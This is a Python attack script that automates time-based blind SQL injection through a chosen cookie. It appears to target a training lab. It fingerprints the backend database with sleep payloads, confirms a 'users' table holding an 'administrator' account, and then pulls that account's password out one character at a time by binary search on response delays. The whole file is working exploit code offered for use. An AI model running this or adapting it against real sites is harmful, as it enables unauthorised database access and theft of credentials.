import sys import requests import urllib.parse import urllib3 from typing import Dict urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} # Default sleep time, can be overridden via CLI CHARSET = list(range(32, 127)) # Printable ASCII DB_PAYLOADS = { "Oracle": lambda s: f"dbms_pipe.receive_message(('a'),{s})", "Microsoft SQL Server": lambda s: f"WAITFOR DELAY '0:0:{s}'", "PostgreSQL": lambda s: f"SELECT pg_sleep({s})", "MySQL": lambda s: f"SELECT SLEEP({s})", } def get_initial_cookies(url: str) -> Dict[str, str]: print("(i) Fetching initial cookies from the server...") try: res = requests.get(url, verify=False, proxies=proxies) cookies = requests.utils.dict_from_cookiejar(res.cookies) if not cookies: print("[-] No cookies received from the server.") sys.exit(1) print("(+) Received cookies:") for k, v in cookies.items(): print(f" {k} = {v}") return cookies except Exception as e: print(f"[-] Failed to fetch cookies: {e}") sys.exit(1) def select_cookie_for_injection(cookies: Dict[str, str]) -> str: print("\n(?) Choose the cookie to inject into:") for i, name in enumerate(cookies, 1): print(f" {i}. {name}") while True: try: idx = int(input("Enter choice number: ")) if 1 <= idx <= len(cookies): return list(cookies.keys())[idx - 1] except (ValueError, IndexError): pass print("[-] Invalid input. Try again.") def is_delay_triggered( url: str, cookies: Dict[str, str], injection_cookie: str, payload: str ) -> bool: encoded = urllib.parse.quote(payload) test_cookies = cookies.copy() test_cookies[injection_cookie] += encoded try: res = requests.get( url, cookies=test_cookies, verify=False, proxies=proxies, timeout=SLEEP_TIME + 5, ) return res.elapsed.total_seconds() >= SLEEP_TIME except requests.exceptions.ReadTimeout: return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def detect_database_type(url: str, cookies: Dict[str, str], cookie_name: str): print("\n(i) Detecting database type based on time delay payloads...") for db_name, payload_func in DB_PAYLOADS.items(): injection = f"' || ({payload_func(SLEEP_TIME)})--" if is_delay_triggered(url, cookies, cookie_name, injection): print(f"(✓) Likely backend DBMS: {db_name}") return db_name print("[-] Could not determine database type.") return None def check_users_table_exists(url: str, cookies: Dict[str, str], cookie_name: str): print( "\n(i) Checking if 'users' table exists and contains administrator username..." ) payload = f"' || (SELECT CASE WHEN (username='administrator') THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(-1) END FROM users)--" if is_delay_triggered(url, cookies, cookie_name, payload): print("(✓) 'users' table with 'administrator' exists.") else: print("[-] 'users' table or 'administrator' not found.") def determine_password_length( url: str, cookies: Dict[str, str], cookie_name: str, max_len: int = 32 ) -> int: print("\n(i) Determining administrator password length...") for length in range(1, max_len + 1): payload = ( f"' || (SELECT CASE WHEN (username='administrator' AND LENGTH(password)>{length}) " f"THEN pg_sleep({SLEEP_TIME}) ELSE pg_sleep(-1) END FROM users)--" ) if not is_delay_triggered(url, cookies, cookie_name, payload): print(f"(✓) Password length is likely: {length}") return length print(f"(-) Could not determine exact length (>{max_len})") return max_len def binary_search_char( url: str, cookies: Dict[str, str], cookie_name: str, position: int ) -> str: low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = ( f"' || (SELECT CASE WHEN (username='administrator' AND " f"ascii(SUBSTRING(password,{position},1))={mid}) THEN pg_sleep({SLEEP_TIME}) " f"ELSE pg_sleep(-1) END FROM users)--" ) if is_delay_triggered(url, cookies, cookie_name, payload): return chr(mid) else: payload = ( f"' || (SELECT CASE WHEN (username='administrator' AND " f"ascii(SUBSTRING(password,{position},1))>{mid}) THEN pg_sleep({SLEEP_TIME}) " f"ELSE pg_sleep(-1) END FROM users)--" ) if is_delay_triggered(url, cookies, cookie_name, payload): low = mid + 1 else: high = mid - 1 return "?" # If not found (unexpected) def extract_password(url: str, cookies: Dict[str, str], cookie_name: str, length: int): print(f"\n(+) Extracting password using binary search (max length {length})...") extracted = "" for pos in range(1, length + 1): char = binary_search_char(url, cookies, cookie_name, pos) extracted += char sys.stdout.write(f"\r[+] Password so far: {extracted}") sys.stdout.flush() print(f"\n(✓) Extracted password: {extracted}") def main(): global SLEEP_TIME global PASSWORD_LENGTH if len(sys.argv) not in [2, 3]: print(f"(+) Usage: {sys.argv[0]} [sleep_time]") print(f"(+) Example: {sys.argv[0]} https://example.com 10") sys.exit(1) url = sys.argv[1].rstrip("/") if len(sys.argv) == 3: try: SLEEP_TIME = int(sys.argv[2]) except ValueError: print("[-] Invalid sleep time. Must be an integer.") sys.exit(1) else: user_input = input("(?) Enter sleep delay (default is 10): ").strip() if user_input: try: SLEEP_TIME = int(user_input) except ValueError: print("[-] Invalid input. Defaulting to 10.") SLEEP_TIME = 10 max_len_input = input( "(?) What is the expected max password length? (default 32): " ).strip() try: PASSWORD_LENGTH = int(max_len_input) if max_len_input else 32 except ValueError: print("[-] Invalid input. Defaulting to 32.") PASSWORD_LENGTH = 32 cookies = get_initial_cookies(url) injection_cookie = select_cookie_for_injection(cookies) detect_database_type(url, cookies, injection_cookie) check_users_table_exists(url, cookies, injection_cookie) length = determine_password_length(url, cookies, injection_cookie, max_len=32) extract_password(url, cookies, injection_cookie, length) if __name__ == "__main__": main()